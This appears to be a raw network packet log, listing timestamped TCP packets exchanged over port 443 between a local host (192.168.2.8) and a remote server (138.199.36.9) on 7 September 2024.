Sep 7, 2024 23:15:23.531985998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.531991959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532013893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532037973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532052994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532068014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532113075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532118082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532130957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532150984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532156944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532161951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532176971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532202959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532210112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532234907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532258034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532393932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532407999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532447100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532459021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532473087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532516003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532565117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532579899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532623053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532628059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532649994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532675982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532685041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532713890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532742023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532747030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532788992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532788992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.532939911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.532999039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533010960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533018112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533044100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533067942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533138037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533153057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533225060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533231020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533257961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533276081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533281088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533298969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533302069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533333063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533338070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533363104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533394098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533416033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533428907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533477068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533483028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.533498049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.533524990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.546900034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.546916962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.546993971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547003984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547041893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547043085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547054052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547072887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547085047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547106981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547111034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547132969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547158003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547380924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547395945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547429085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547435045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547455072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547471046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547538042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547554016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547606945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.547614098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.547646999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.612523079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612546921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612709045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612706900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.612741947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612765074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612799883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.612838030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.612849951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.612875938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.613372087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.613388062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.613574982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.613584042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.613622904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.614741087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.614759922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.614821911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.614830017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.614867926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.635508060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635525942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635579109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635605097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635621071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.635636091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635675907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.635756016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635773897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635802984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.635811090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.635837078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.636008024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.636027098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.636059999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.636066914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.636085033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.691001892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.701662064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.701683998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.701738119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.701786041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.701826096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.701843023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.701899052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.702045918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.702061892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.702111006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.702117920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.703291893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.703310966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.703365088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.703371048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723797083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723820925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723869085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.723886013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723936081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.723942041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723954916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.723975897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724000931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.724008083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724030018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.724338055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724350929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724399090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.724407911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724606037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724632025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724658012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.724664927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.724687099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.769053936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.810923100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.810950994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811064959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811080933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.811114073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811155081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811177969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.811177969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.811232090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811249018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811280012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.811290979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.811314106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.812624931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.812654018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.812695026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.812705040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.812730074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.851991892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.852010012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.852149963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.852196932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853271961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853297949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853336096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.853354931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853373051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.853784084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853801012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853836060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.853846073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.853863955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.853988886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.854008913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.854038000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.854048014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.854078054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.894041061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.938962936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.938986063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939049959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939089060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939105988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939140081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939158916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939158916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939368010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939380884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939409971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939420938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939445019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939480066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939498901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939527988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.939534903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.939558983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.957448959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957463980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957571983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957571030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.957592010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957603931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957628965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.957659006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.957771063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957788944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957833052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.957853079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.957891941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.958075047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.958090067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.958161116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:23.958168983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:23.958209991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027410984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027431965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027472973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027523041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027549982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027576923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027601957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027658939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027672052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027704000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027712107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027730942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027844906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027879000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027894020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.027900934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.027920961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.046289921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046309948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046495914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046516895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046516895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.046531916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046578884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.046883106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046897888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046952963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.046960115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046982050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.046997070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.047007084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.047022104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.047033072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.047051907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.047080994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.116293907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116322041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116455078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.116499901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116528988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116558075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.116559029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116573095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116616964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.116821051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116836071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116909981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.116918087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.116950989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.117069960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.117089033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.117140055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.117146969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.117181063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.136166096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136184931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136303902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.136331081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136367083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.136678934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136693954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136884928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.136892080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.136929035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.137002945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137017965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137065887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.137075901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137111902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.137486935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137502909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137553930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.137561083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.137593031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.204888105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.204910994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205080032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205090046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.205125093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205159903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205180883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.205180883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.205435991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205451012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205497980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.205507994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.205991030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.206010103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.206044912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.206051111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.206088066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.223294973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223315954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223454952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.223484993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223614931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223639965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223707914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:24.223721027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223892927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:24.223910093 CEST	443	49706	138.199.36.9	192.168.2.8
